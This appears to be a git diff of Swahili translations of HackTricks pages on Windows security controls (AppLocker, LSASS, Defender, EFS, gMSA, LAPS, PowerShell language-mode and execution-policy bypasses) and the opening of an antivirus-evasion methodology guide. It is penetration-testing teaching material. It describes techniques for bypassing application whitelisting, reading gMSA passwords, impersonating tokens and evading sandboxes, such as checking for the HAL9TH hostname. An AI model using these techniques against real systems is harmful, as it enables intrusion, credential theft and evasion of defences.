- **Uwezo wa Kazi Iliyopangwa**: Tofauti na akaunti za huduma zinazodhibitiwa, gMSAs zinasaidia kufanya kazi zilizopangwa.
|
||||
- **Usimamizi wa SPN Ulio Rahisishwa**: Mfumo unasasisha moja kwa moja Jina la Kiongozi wa Huduma (SPN) wakati kuna mabadiliko katika maelezo ya sAMaccount ya kompyuta au jina la DNS, kuimarisha usimamizi wa SPN.
|
||||
|
||||
Nenosiri za gMSAs zinahifadhiwa katika mali ya LDAP _**msDS-ManagedPassword**_ na zinarejeshwa moja kwa moja kila siku 30 na Wasimamizi wa Kikoa (DCs). Nenosiri hili, ambalo ni data iliyosimbwa inayojulikana kama [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), linaweza kupatikana tu na wasimamizi walioidhinishwa na seva ambazo gMSAs zimewekwa, kuhakikisha mazingira salama. Ili kufikia taarifa hii, unahitaji muunganisho salama kama LDAPS, au muunganisho lazima uthibitishwe na 'Sealing & Secure'.
|
||||
|
||||

|
||||
|
||||
Unaweza kusoma nenosiri hili kwa kutumia [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
|
||||
Unaweza kusoma nenosiri hili kwa [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
|
||||
```
|
||||
/GMSAPasswordReader --AccountName jkohler
|
||||
```
|
||||
@ -181,7 +183,7 @@ $ExecutionContext.SessionState.LanguageMode
|
||||
Powershell -version 2
|
||||
```
|
||||
Katika Windows ya sasa, Bypass hiyo haitafanya kazi lakini unaweza kutumia [**PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
|
||||
**Ili kuikamilisha unaweza kuhitaji** **ku** _**ongeza Rejeleo**_ -> _Browse_ -> _Browse_ -> ongeza `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` na **badilisha mradi kuwa .Net4.5**.
|
||||
**Ili kuikamilisha unaweza kuhitaji** **kui** _**Ongeza Rejeleo**_ -> _Browse_ -> _Browse_ -> ongeza `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` na **badilisha mradi kuwa .Net4.5**.
|
||||
|
||||
#### Bypass ya moja kwa moja:
|
||||
```bash
|
||||
@ -236,7 +238,7 @@ SSPI itakuwa na jukumu la kutafuta itifaki inayofaa kwa mashine mbili zinazotaka
|
||||
- **Negotiate**: Inatumika kujadili itifaki ya kutumia (Kerberos au NTLM, Kerberos ikiwa chaguo la msingi)
|
||||
- %windir%\Windows\System32\lsasrv.dll
|
||||
|
||||
#### The negotiation could offer several methods or only one.
|
||||
#### Majadiliano yanaweza kutoa njia kadhaa au moja tu.
|
||||
|
||||
## UAC - User Account Control
|
||||
|
||||
@ -246,5 +248,4 @@ SSPI itakuwa na jukumu la kutafuta itifaki inayofaa kwa mashine mbili zinazotaka
|
||||
windows-security-controls/uac-user-account-control.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -6,12 +6,12 @@
|
||||
|
||||
Orodha ya programu inayoruhusiwa ni orodha ya programu za programu au executable zilizothibitishwa ambazo zinaruhusiwa kuwepo na kuendesha kwenye mfumo. Lengo ni kulinda mazingira kutokana na malware hatari na programu zisizothibitishwa ambazo hazifai na mahitaji maalum ya biashara ya shirika.
|
||||
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) ni **suluhisho la orodha ya programu za Microsoft** na inawapa wasimamizi wa mifumo udhibiti juu ya **ni programu na faili zipi ambazo watumiaji wanaweza kuendesha**. Inatoa **udhibiti wa kina** juu ya executable, scripts, faili za Windows installer, DLLs, programu zilizopakiwa, na waendeshaji wa programu zilizopakiwa.\
|
||||
Ni kawaida kwa mashirika **kuzuia cmd.exe na PowerShell.exe** na kuandika ufikiaji kwa baadhi ya saraka, **lakini hii yote inaweza kupuuziliwa mbali**.
|
||||
[AppLocker](https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/applocker/what-is-applocker) ni **ufumbuzi wa orodha ya programu za Microsoft** na inawapa wasimamizi wa mifumo udhibiti juu ya **ni programu zipi na faili ambazo watumiaji wanaweza kuendesha**. Inatoa **udhibiti wa kina** juu ya executable, scripts, faili za Windows installer, DLLs, programu zilizopakiwa, na waandishi wa programu zilizopakiwa.\
|
||||
Ni kawaida kwa mashirika **kuzuia cmd.exe na PowerShell.exe** na kuandika ufikiaji kwenye saraka fulani, **lakini hii yote inaweza kupuuziliwa mbali**.
|
||||
|
||||
### Check
|
||||
|
||||
Angalia faili/nyongeza zipi zimeorodheshwa kwenye orodha ya mblacklist/mwhite list:
|
||||
Angalia faili/nyongeza zipi zimeorodheshwa kwenye orodha ya mblacklist/whitelist:
|
||||
```powershell
|
||||
Get-ApplockerPolicy -Effective -xml
|
||||
|
||||
@ -36,8 +36,8 @@ C:\windows\tracing
|
||||
- Binaries za kawaida **zilizoaminika** [**"LOLBAS's"**](https://lolbas-project.github.io/) zinaweza pia kuwa na manufaa katika kupita AppLocker.
|
||||
- **Kanuni zilizoandikwa vibaya zinaweza pia kupitishwa**
|
||||
- Kwa mfano, **`<FilePathCondition Path="%OSDRIVE%*\allowed*"/>`**, unaweza kuunda **folda inayoitwa `allowed`** mahali popote na itaruhusiwa.
|
||||
- Mashirika mara nyingi pia yanazingatia **kuzuia `%System32%\WindowsPowerShell\v1.0\powershell.exe` executable**, lakini yanasahau kuhusu **mengine** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) kama vile `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` au `PowerShell_ISE.exe`.
|
||||
- **DLL enforcement mara chache huwekwa** kutokana na mzigo wa ziada ambao inaweza kuweka kwenye mfumo, na kiasi cha upimaji kinachohitajika kuhakikisha hakuna kitu kitaharibika. Hivyo kutumia **DLLs kama milango ya nyuma kutasaidia kupita AppLocker**.
|
||||
- Mashirika mara nyingi pia yanazingatia **kuzuia `%System32%\WindowsPowerShell\v1.0\powershell.exe` executable**, lakini yanakosa kuhusu **mengine** [**PowerShell executable locations**](https://www.powershelladmin.com/wiki/PowerShell_Executables_File_System_Locations) kama vile `%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe` au `PowerShell_ISE.exe`.
|
||||
- **DLL enforcement mara chache huwekwa** kutokana na mzigo wa ziada inaweza kuweka kwenye mfumo, na kiasi cha majaribio kinachohitajika kuhakikisha hakuna kitu kitaharibika. Hivyo kutumia **DLLs kama milango ya nyuma kutasaidia kupita AppLocker**.
|
||||
- Unaweza kutumia [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) au [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) ili **kutekeleza Powershell** msimbo katika mchakato wowote na kupita AppLocker. Kwa maelezo zaidi angalia: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode).
|
||||
|
||||
## Hifadhi ya Akida
|
||||
@ -50,9 +50,9 @@ Akida za ndani zipo katika faili hii, nywila zimepangwa.
|
||||
|
||||
**Akida** (zilizopangwa) zime **hifadhiwa** katika **kumbukumbu** ya mfumo huu kwa sababu za Usajili wa Moja.\
|
||||
**LSA** inasimamia **sera ya usalama** ya ndani (sera ya nywila, ruhusa za watumiaji...), **uthibitishaji**, **tokens za ufikiaji**...\
|
||||
LSA itakuwa ndiyo itakayofanya **ukaguzi** wa akida zilizotolewa ndani ya faili **SAM** (kwa kuingia kwa ndani) na **kuzungumza** na **kikundi cha kudhibiti** ili kuthibitisha mtumiaji wa kikoa.
|
||||
LSA itakuwa ndiyo itakayofanya **ukaguzi** wa akida zilizotolewa ndani ya faili ya **SAM** (kwa kuingia kwa ndani) na **kuzungumza** na **kikundi cha kudhibiti** ili kuthibitisha mtumiaji wa kikoa.
|
||||
|
||||
**Akida** zime **hifadhiwa** ndani ya **mchakato LSASS**: Tiketi za Kerberos, hashes NT na LM, nywila zinazoweza kufichuliwa kwa urahisi.
|
||||
**Akida** zime **hifadhiwa** ndani ya **mchakato LSASS**: tiketi za Kerberos, hashes NT na LM, nywila zinazoweza kufichuliwa kwa urahisi.
|
||||
|
||||
### Siri za LSA
|
||||
|
||||
@ -65,15 +65,15 @@ LSA inaweza kuhifadhi kwenye diski baadhi ya akida:
|
||||
|
||||
### NTDS.dit
|
||||
|
||||
Ni hifadhidata ya Active Directory. Inapatikana tu katika Vikundi vya Kudhibiti.
|
||||
Ni hifadhidata ya Active Directory. Ipo tu katika Vikundi vya Kudhibiti.
|
||||
|
||||
## Defender
|
||||
## Mlinzi
|
||||
|
||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) ni Antivirus inayopatikana katika Windows 10 na Windows 11, na katika matoleo ya Windows Server. In **azuia** zana za kawaida za pentesting kama **`WinPEAS`**. Hata hivyo, kuna njia za **kupita ulinzi huu**.
|
||||
[**Microsoft Defender**](https://en.wikipedia.org/wiki/Microsoft_Defender) ni Antivirus inayopatikana katika Windows 10 na Windows 11, na katika matoleo ya Windows Server. In **zuia** zana za kawaida za pentesting kama **`WinPEAS`**. Hata hivyo, kuna njia za **kupita ulinzi huu**.
|
||||
|
||||
### Angalia
|
||||
|
||||
Ili kuangalia **hali** ya **Defender** unaweza kutekeleza cmdlet ya PS **`Get-MpComputerStatus`** (angalia thamani ya **`RealTimeProtectionEnabled`** kujua kama inafanya kazi):
|
||||
Ili kuangalia **hali** ya **Mlinzi** unaweza kutekeleza cmdlet ya PS **`Get-MpComputerStatus`** (angalia thamani ya **`RealTimeProtectionEnabled`** kujua kama inafanya kazi):
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell">PS C:\> Get-MpComputerStatus
|
||||
|
||||
@ -103,12 +103,12 @@ sc query windefend
|
||||
```
|
||||
## Encrypted File System (EFS)
|
||||
|
||||
EFS inalinda faili kupitia usimbuaji, ikitumia **symmetric key** inayojulikana kama **File Encryption Key (FEK)**. Funguo hii inasimbuliwa kwa kutumia **public key** ya mtumiaji na kuhifadhiwa ndani ya $EFS **alternative data stream** ya faili iliyosimbwa. Wakati usimbuaji unahitajika, **private key** inayolingana na cheti cha kidijitali cha mtumiaji inatumika kusimbua FEK kutoka kwenye $EFS stream. Maelezo zaidi yanaweza kupatikana [hapa](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
EFS inalinda faili kupitia usimbaji, ikitumia **symmetric key** inayojulikana kama **File Encryption Key (FEK)**. Funguo hii inasimbwa kwa kutumia **public key** ya mtumiaji na kuhifadhiwa ndani ya $EFS **alternative data stream** ya faili iliyosimbwa. Wakati usimbuaji unahitajika, **private key** inayolingana ya cheti cha kidijitali cha mtumiaji inatumika kusimbua FEK kutoka kwenye $EFS stream. Maelezo zaidi yanaweza kupatikana [hapa](https://en.wikipedia.org/wiki/Encrypting_File_System).
|
||||
|
||||
**Mifano ya Usimbuaji bila kuanzishwa na mtumiaji** ni pamoja na:
|
||||
|
||||
- Wakati faili au folda zinapohamishwa kwenye mfumo wa faili usio EFS, kama [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), zinapaswa kusimbuliwa moja kwa moja.
|
||||
- Faili zilizofichwa zinazotumwa kupitia mtandao kwa kutumia SMB/CIFS protocol zinapaswa kusimbuliwa kabla ya usafirishaji.
|
||||
- Wakati faili au folda zinapohamishwa kwenye mfumo wa faili usio EFS, kama [FAT32](https://en.wikipedia.org/wiki/File_Allocation_Table), zinapaswa kusimbuliwa kiotomatiki.
|
||||
- Faili zilizofichwa zinazotumwa kupitia mtandao kupitia SMB/CIFS protocol zinapaswa kusimbuliwa kabla ya usafirishaji.
|
||||
|
||||
Njia hii ya usimbuaji inaruhusu **upatikanaji wa wazi** kwa faili zilizofichwa kwa mmiliki. Hata hivyo, kubadilisha tu nenosiri la mmiliki na kuingia hakutaruhusu usimbuaji.
|
||||
|
||||
@ -116,7 +116,7 @@ Njia hii ya usimbuaji inaruhusu **upatikanaji wa wazi** kwa faili zilizofichwa k
|
||||
|
||||
- EFS inatumia FEK ya symmetric, iliyosimbwa kwa kutumia public key ya mtumiaji.
|
||||
- Usimbuaji unatumia private key ya mtumiaji kupata FEK.
|
||||
- Usimbuaji wa moja kwa moja unafanyika chini ya hali maalum, kama vile kunakili kwenye FAT32 au usafirishaji wa mtandao.
|
||||
- Usimbuaji wa kiotomatiki unafanyika chini ya hali maalum, kama kuhamisha kwa FAT32 au usafirishaji wa mtandao.
|
||||
- Faili zilizofichwa zinapatikana kwa mmiliki bila hatua za ziada.
|
||||
|
||||
### Angalia taarifa za EFS
|
||||
@ -130,27 +130,29 @@ Unaweza pia kutumia `cipher /e` na `cipher /d` ndani ya folda ili **kusimbua** n
|
||||
|
||||
#### Kuwa Mamlaka ya Mfumo
|
||||
|
||||
Njia hii inahitaji **mtumiaji waathirika** kuwa **akifanya** **mchakato** ndani ya mwenyeji. Ikiwa hiyo ni kesi, kwa kutumia `meterpreter` sessions unaweza kujifanya kuwa token ya mchakato wa mtumiaji (`impersonate_token` kutoka `incognito`). Au unaweza tu `migrate` kwenye mchakato wa mtumiaji.
|
||||
Njia hii inahitaji **mtumiaji wa kidhulumu** kuwa **akifanya** **mchakato** ndani ya mwenyeji. Ikiwa hiyo ni kesi, kwa kutumia `meterpreter` sessions unaweza kujifanya kuwa token ya mchakato wa mtumiaji (`impersonate_token` kutoka `incognito`). Au unaweza tu `migrate` kwenye mchakato wa mtumiaji.
|
||||
|
||||
#### Kujua nenosiri la watumiaji
|
||||
|
||||
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
|
||||
{{#ref}}
|
||||
https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files
|
||||
{{#endref}}
|
||||
|
||||
## Group Managed Service Accounts (gMSA)
|
||||
|
||||
Microsoft ilitengeneza **Group Managed Service Accounts (gMSA)** ili kurahisisha usimamizi wa akaunti za huduma katika miundombinu ya IT. Tofauti na akaunti za huduma za jadi ambazo mara nyingi zina mipangilio ya "**Password never expire**" iliyoanzishwa, gMSAs hutoa suluhisho salama na linaloweza kusimamiwa zaidi:
|
||||
|
||||
- **Usimamizi wa Nenosiri wa Moja kwa Moja**: gMSAs hutumia nenosiri tata, la herufi 240 ambalo hubadilika moja kwa moja kulingana na sera ya kikoa au kompyuta. Mchakato huu unashughulikiwa na Huduma ya Usambazaji wa Funguo ya Microsoft (KDC), ikiondoa haja ya masasisho ya nenosiri ya mikono.
|
||||
- **Usimamizi wa Nenosiri wa Kiotomatiki**: gMSAs hutumia nenosiri tata, la herufi 240 ambalo hubadilika kiotomatiki kulingana na sera ya kikoa au kompyuta. Mchakato huu unashughulikiwa na Huduma ya Usambazaji wa Funguo ya Microsoft (KDC), ikiondoa haja ya masasisho ya nenosiri ya mikono.
|
||||
- **Usalama Ulioimarishwa**: Akaunti hizi hazihusiki na kufungwa na haziwezi kutumika kwa kuingia kwa mwingiliano, kuimarisha usalama wao.
|
||||
- **Msaada wa Wenyeji Wengi**: gMSAs zinaweza kushirikiwa kati ya wenyeji wengi, na kuifanya kuwa bora kwa huduma zinazotembea kwenye seva nyingi.
|
||||
- **Uwezo wa Kazi Iliyopangwa**: Tofauti na akaunti za huduma zinazodhibitiwa, gMSAs zinasaidia kuendesha kazi zilizopangwa.
|
||||
- **Usimamizi wa SPN Ulio Rahisishwa**: Mfumo unasasisha moja kwa moja Jina la Kitaalamu la Huduma (SPN) wakati kuna mabadiliko katika maelezo ya sAMaccount ya kompyuta au jina la DNS, kuimarisha usimamizi wa SPN.
|
||||
- **Msaada wa Wenyeji Wengi**: gMSAs zinaweza kushirikiwa kati ya wenyeji wengi, na kuifanya kuwa bora kwa huduma zinazofanya kazi kwenye seva nyingi.
|
||||
- **Uwezo wa Kazi Iliyopangwa**: Tofauti na akaunti za huduma zinazodhibitiwa, gMSAs zinasaidia kufanya kazi zilizopangwa.
|
||||
- **Usimamizi wa SPN ulio Rahisishwa**: Mfumo unasasisha kiotomatiki Jina la Msingi wa Huduma (SPN) wakati kuna mabadiliko katika maelezo ya sAMaccount ya kompyuta au jina la DNS, kuimarisha usimamizi wa SPN.
|
||||
|
||||
Nenosiri za gMSAs zinahifadhiwa katika mali ya LDAP _**msDS-ManagedPassword**_ na zinapaswa kurekebishwa moja kwa moja kila siku 30 na Wasimamizi wa Kikoa (DCs). Nenosiri hili, ambalo ni data iliyosimbwa inayojulikana kama [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), linaweza kupatikana tu na wasimamizi walioidhinishwa na seva ambazo gMSAs zimewekwa, kuhakikisha mazingira salama. Ili kufikia taarifa hii, unahitaji muunganisho salama kama LDAPS, au muunganisho lazima uthibitishwe na 'Sealing & Secure'.
|
||||
Nenosiri za gMSAs zinahifadhiwa katika mali ya LDAP _**msDS-ManagedPassword**_ na zinarejeshwa kiotomatiki kila siku 30 na Wasimamizi wa Kikoa (DCs). Nenosiri hili, ambalo ni blob ya data iliyosimbwa inayojulikana kama [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), linaweza kupatikana tu na wasimamizi walioidhinishwa na seva ambazo gMSAs zimewekwa, kuhakikisha mazingira salama. Ili kufikia taarifa hii, unahitaji muunganisho salama kama LDAPS, au muunganisho lazima uthibitishwe na 'Sealing & Secure'.
|
||||
|
||||

|
||||
|
||||
Unaweza kusoma nenosiri hili kwa [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
|
||||
Unaweza kusoma nenosiri hili kwa kutumia [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
|
||||
```
|
||||
/GMSAPasswordReader --AccountName jkohler
|
||||
```
|
||||
@ -160,7 +162,7 @@ Pia, angalia hii [ukurasa wa wavuti](https://cube0x0.github.io/Relaying-for-gMSA
|
||||
|
||||
## LAPS
|
||||
|
||||
**Local Administrator Password Solution (LAPS)**, inayopatikana kwa kupakuliwa kutoka [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), inaruhusu usimamizi wa nenosiri za Msimamizi wa ndani. Nenosiri haya, ambayo ni **ya nasibu**, ya kipekee, na **yanabadilishwa mara kwa mara**, huhifadhiwa kwa kati katika Active Directory. Ufikiaji wa nenosiri haya umewekwa vizuizi kupitia ACLs kwa watumiaji walioidhinishwa. Ikiwa ruhusa za kutosha zimetolewa, uwezo wa kusoma nenosiri za admin wa ndani unapatikana.
|
||||
**Local Administrator Password Solution (LAPS)**, inayopatikana kwa kupakuliwa kutoka [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), inaruhusu usimamizi wa nenosiri za Msimamizi wa ndani. Nenosiri haya, ambayo ni **ya nasibu**, ya kipekee, na **yanabadilishwa mara kwa mara**, huhifadhiwa kwa kati katika Active Directory. Ufikiaji wa nenosiri haya umewekwa vizuizi kupitia ACLs kwa watumiaji walioidhinishwa. Kwa ruhusa ya kutosha, uwezo wa kusoma nenosiri za msimamizi wa ndani unapatikana.
|
||||
|
||||
{{#ref}}
|
||||
../active-directory-methodology/laps.md
|
||||
@ -215,32 +217,32 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
|
||||
9º Use EncodeCommand
|
||||
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
|
||||
```
|
||||
Zaidi ya hayo yanaweza kupatikana [hapa](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
|
||||
More can be found [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
|
||||
|
||||
## Interface ya Msaada wa Usalama wa Watoa Huduma (SSPI)
|
||||
## Security Support Provider Interface (SSPI)
|
||||
|
||||
Ni API inayoweza kutumika kuthibitisha watumiaji.
|
||||
|
||||
SSPI itakuwa na jukumu la kutafuta itifaki inayofaa kwa mashine mbili zinazotaka kuwasiliana. Njia inayopendekezwa kwa hili ni Kerberos. Kisha SSPI itajadili itifaki ipi ya uthibitishaji itatumika, hizi itifaki za uthibitishaji zinaitwa Watoa Huduma wa Msaada wa Usalama (SSP), ziko ndani ya kila mashine ya Windows katika mfumo wa DLL na mashine zote mbili lazima ziunge mkono ile ile ili kuweza kuwasiliana.
|
||||
SSPI itakuwa na jukumu la kutafuta itifaki inayofaa kwa mashine mbili zinazotaka kuwasiliana. Njia inayopendekezwa kwa hili ni Kerberos. Kisha SSPI itajadili itifaki ipi ya uthibitishaji itatumika, hizi itifaki za uthibitishaji zinaitwa Security Support Provider (SSP), ziko ndani ya kila mashine ya Windows kwa njia ya DLL na mashine zote mbili lazima ziunge mkono ile ile ili kuweza kuwasiliana.
|
||||
|
||||
### SSPs Kuu
|
||||
### Main SSPs
|
||||
|
||||
- **Kerberos**: Ile inayopendekezwa
|
||||
- **Kerberos**: Ya kupendelea
|
||||
- %windir%\Windows\System32\kerberos.dll
|
||||
- **NTLMv1** na **NTLMv2**: Sababu za ulinganifu
|
||||
- %windir%\Windows\System32\msv1_0.dll
|
||||
- **Digest**: Seva za wavuti na LDAP, nywila katika mfumo wa hash ya MD5
|
||||
- **Digest**: Seva za wavuti na LDAP, nenosiri kwa njia ya MD5 hash
|
||||
- %windir%\Windows\System32\Wdigest.dll
|
||||
- **Schannel**: SSL na TLS
|
||||
- %windir%\Windows\System32\Schannel.dll
|
||||
- **Negotiate**: Inatumika kujadili itifaki ya kutumia (Kerberos au NTLM, Kerberos ikiwa chaguo la msingi)
|
||||
- %windir%\Windows\System32\lsasrv.dll
|
||||
|
||||
#### Majadiliano yanaweza kutoa mbinu kadhaa au moja tu.
|
||||
#### The negotiation could offer several methods or only one.
|
||||
|
||||
## UAC - Udhibiti wa Akaunti ya Mtumiaji
|
||||
## UAC - User Account Control
|
||||
|
||||
[Udhibiti wa Akaunti ya Mtumiaji (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ni kipengele kinachowezesha **kuonyeshwa kwa idhini kwa shughuli zilizoimarishwa**.
|
||||
[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) ni kipengele kinachowezesha **kiashiria cha idhini kwa shughuli zilizoimarishwa**.
|
||||
|
||||
{{#ref}}
|
||||
uac-user-account-control.md
|
||||
|
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
**Ukurasa huu umeandikwa na** [**@m2rc_p**](https://twitter.com/m2rc_p)**!**
|
||||
|
||||
## **AV Evasion Methodology**
|
||||
@ -15,30 +14,30 @@ Kugundua kwa statiki kunapatikana kwa kuweka alama kwenye nyuzi au safu za byte
|
||||
|
||||
- **Encryption**
|
||||
|
||||
Ikiwa unashughulikia binary, hakutakuwa na njia kwa AV kugundua programu yako, lakini utahitaji aina fulani ya loader ili kufungua na kuendesha programu hiyo kwenye kumbukumbu.
|
||||
Ikiwa unashughulikia binary, hakutakuwa na njia ya AV kugundua programu yako, lakini utahitaji aina fulani ya loader ili kufungua na kuendesha programu hiyo kwenye kumbukumbu.
|
||||
|
||||
- **Obfuscation**
|
||||
|
||||
Wakati mwingine unachohitaji kufanya ni kubadilisha nyuzi fulani katika binary au script yako ili kuipita AV, lakini hii inaweza kuwa kazi inayochukua muda kulingana na kile unachojaribu kuficha.
|
||||
Wakati mwingine unachohitaji kufanya ni kubadilisha nyuzi fulani katika binary yako au script ili kuipita AV, lakini hii inaweza kuwa kazi inayochukua muda kulingana na kile unachojaribu kuficha.
|
||||
|
||||
- **Custom tooling**
|
||||
|
||||
Ikiwa unaunda zana zako mwenyewe, hakutakuwa na saini mbaya zinazojulikana, lakini hii inachukua muda na juhudi nyingi.
|
||||
|
||||
> [!NOTE]
|
||||
> Njia nzuri ya kuangalia dhidi ya kugundua kwa statiki ya Windows Defender ni [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Kimsingi inagawanya faili katika sehemu nyingi kisha inamwambia Defender kuchambua kila moja kwa kibinafsi, kwa njia hii, inaweza kukuambia hasa ni zipi zilizowekwa alama kama hatari katika binary yako.
|
||||
> Njia nzuri ya kuangalia dhidi ya kugundua kwa statiki ya Windows Defender ni [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Kimsingi inagawanya faili katika sehemu nyingi kisha inamwambia Defender kuchanganua kila moja kwa kibinafsi, kwa njia hii, inaweza kukuambia hasa ni zipi zilizowekwa alama katika binary yako.
|
||||
|
||||
Ninapendekeza uangalie hii [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) kuhusu AV Evasion ya vitendo.
|
||||
Ninapendekeza kwa nguvu uangalie hii [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) kuhusu AV Evasion ya vitendo.
|
||||
|
||||
### **Dynamic analysis**
|
||||
|
||||
Uchambuzi wa dynamic ni wakati AV inakimbia binary yako kwenye sandbox na kuangalia shughuli hatari (mfano: kujaribu kufungua na kusoma nywila za kivinjari chako, kufanya minidump kwenye LSASS, n.k.). Sehemu hii inaweza kuwa ngumu kidogo kufanya kazi nayo, lakini hapa kuna mambo kadhaa unayoweza kufanya ili kuzuia sandboxes.
|
||||
Uchambuzi wa dynamic ni wakati AV inakimbia binary yako katika sandbox na kuangalia shughuli hatari (mfano: kujaribu kufungua na kusoma nywila za kivinjari chako, kufanya minidump kwenye LSASS, n.k.). Sehemu hii inaweza kuwa ngumu kidogo kufanya kazi nayo, lakini hapa kuna mambo kadhaa unayoweza kufanya ili kuzuia sandboxes.
|
||||
|
||||
- **Sleep before execution** Kutegemea jinsi ilivyotekelezwa, inaweza kuwa njia nzuri ya kupita uchambuzi wa dynamic wa AV. AVs zina muda mfupi sana wa kuchambua faili ili kutoingilia kazi ya mtumiaji, hivyo kutumia usingizi mrefu kunaweza kuingilia uchambuzi wa binaries. Tatizo ni kwamba sandboxes nyingi za AV zinaweza tu kupuuza usingizi kulingana na jinsi ilivyotekelezwa.
|
||||
- **Checking machine's resources** Kawaida Sandboxes zina rasilimali chache sana za kufanya kazi (mfano: < 2GB RAM), vinginevyo zinaweza kuharibu mashine ya mtumiaji. Unaweza pia kuwa mbunifu sana hapa, kwa mfano kwa kuangalia joto la CPU au hata kasi za mashabiki, si kila kitu kitatekelezwa kwenye sandbox.
|
||||
- **Machine-specific checks** Ikiwa unataka kulenga mtumiaji ambaye kituo chake kimeunganishwa kwenye eneo la "contoso.local", unaweza kufanya ukaguzi kwenye eneo la kompyuta ili kuona kama linalingana na lile ulilosema, ikiwa halilingani, unaweza kufanya programu yako itoke.
|
||||
- **Sleep before execution** Kutegemea jinsi ilivyotekelezwa, inaweza kuwa njia nzuri ya kupita uchambuzi wa dynamic wa AV. AVs zina muda mfupi sana wa kuchanganua faili ili zisihusishe na mtumiaji, hivyo kutumia usingizi mrefu kunaweza kuingilia uchambuzi wa binaries. Tatizo ni kwamba sandboxes nyingi za AV zinaweza tu kupuuza usingizi kulingana na jinsi ilivyotekelezwa.
|
||||
- **Checking machine's resources** Kawaida Sandboxes zina rasilimali chache sana za kufanya kazi (mfano: < 2GB RAM), vinginevyo zinaweza kuharibu mashine ya mtumiaji. Unaweza pia kuwa mbunifu sana hapa, kwa mfano kwa kuangalia joto la CPU au hata kasi za mashabiki, si kila kitu kitawekwa katika sandbox.
|
||||
- **Machine-specific checks** Ikiwa unataka kulenga mtumiaji ambaye workstation yake imeunganishwa kwenye eneo la "contoso.local", unaweza kufanya ukaguzi kwenye eneo la kompyuta ili kuona kama linalingana na lile ulilobaini, ikiwa halilingani, unaweza kufanya programu yako itoke.
|
||||
|
||||
Inageuka kuwa jina la kompyuta la Microsoft Defender's Sandbox ni HAL9TH, hivyo, unaweza kuangalia jina la kompyuta katika malware yako kabla ya kulipua, ikiwa jina linalingana na HAL9TH, inamaanisha uko ndani ya sandbox ya defender, hivyo unaweza kufanya programu yako itoke.
|
||||
Inageuka kuwa jina la kompyuta la Microsoft Defender's Sandbox ni HAL9TH, hivyo, unaweza kuangalia jina la kompyuta katika malware yako kabla ya kulipuka, ikiwa jina linalingana na HAL9TH, inamaanisha uko ndani ya sandbox ya defender, hivyo unaweza kufanya programu yako itoke.
|
||||
|
||||
<figure><img src="../images/image (209).png" alt=""><figcaption><p>chanzo: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
|
||||
|
||||
@ -53,17 +52,17 @@ Kwa mfano, ikiwa unataka kudump LSASS, **je, unahitaji kweli kutumia mimikatz**?
|
||||
Jibu sahihi labda ni la pili. Kuchukua mimikatz kama mfano, huenda ni moja ya, ikiwa si kipande cha malware kilichowekwa alama zaidi na AVs na EDRs, wakati mradi wenyewe ni mzuri sana, pia ni ndoto mbaya kufanya kazi nayo ili kuzunguka AVs, hivyo angalia tu mbadala kwa kile unachojaribu kufikia.
|
